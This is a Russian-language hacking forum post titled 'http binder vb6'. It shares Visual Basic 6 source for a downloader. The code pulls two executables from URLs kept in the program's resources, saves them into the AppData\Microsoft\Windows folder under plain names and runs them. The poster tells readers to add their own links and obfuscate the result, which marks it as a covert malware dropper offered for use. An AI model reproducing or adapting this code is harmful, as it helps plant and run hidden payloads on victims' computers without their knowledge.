1. Все файлы исключительно загружать на наш сервер в формате .rar или .zip, темы где будут указаны ссылки для загрузки файлов будут удалены.

http binder vb6

Тема в разделе "VB6 / VB .NET", создана пользователем MR. MORFEY, 7 янв 2017.

  1. MR. MORFEY
    Статус
    Оффлайн
    Сообщения:
    802
    Симпатии:
    1.446
    Делать было нечего чёт намудрил
    Тут нечего сложного нет остаётся вам указать ссылки на файлы в ресурсах и сделать обфускацию
    Код:
    Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    
    Function DownLoadFile(FromPathName As String, ToPathName As String) As Boolean
    DownLoadFile = URLDownloadToFile(0, FromPathName, ToPathName, 0, 0) = 0
    End Function
    
    Private Sub Main()
    DownLoadFile LoadResString(101), Environ$("AppData") & "\Microsoft\Windows\file_1.exe"
    DownLoadFile LoadResString(102), Environ$("AppData") & "\Microsoft\Windows\file_2.exe"
    Shell Environ$("AppData") & "\Microsoft\Windows\file_1.exe"
    Shell Environ$("AppData") & "\Microsoft\Windows\file_2.exe"
    End Sub
     
    xakser и Anubis нравится это.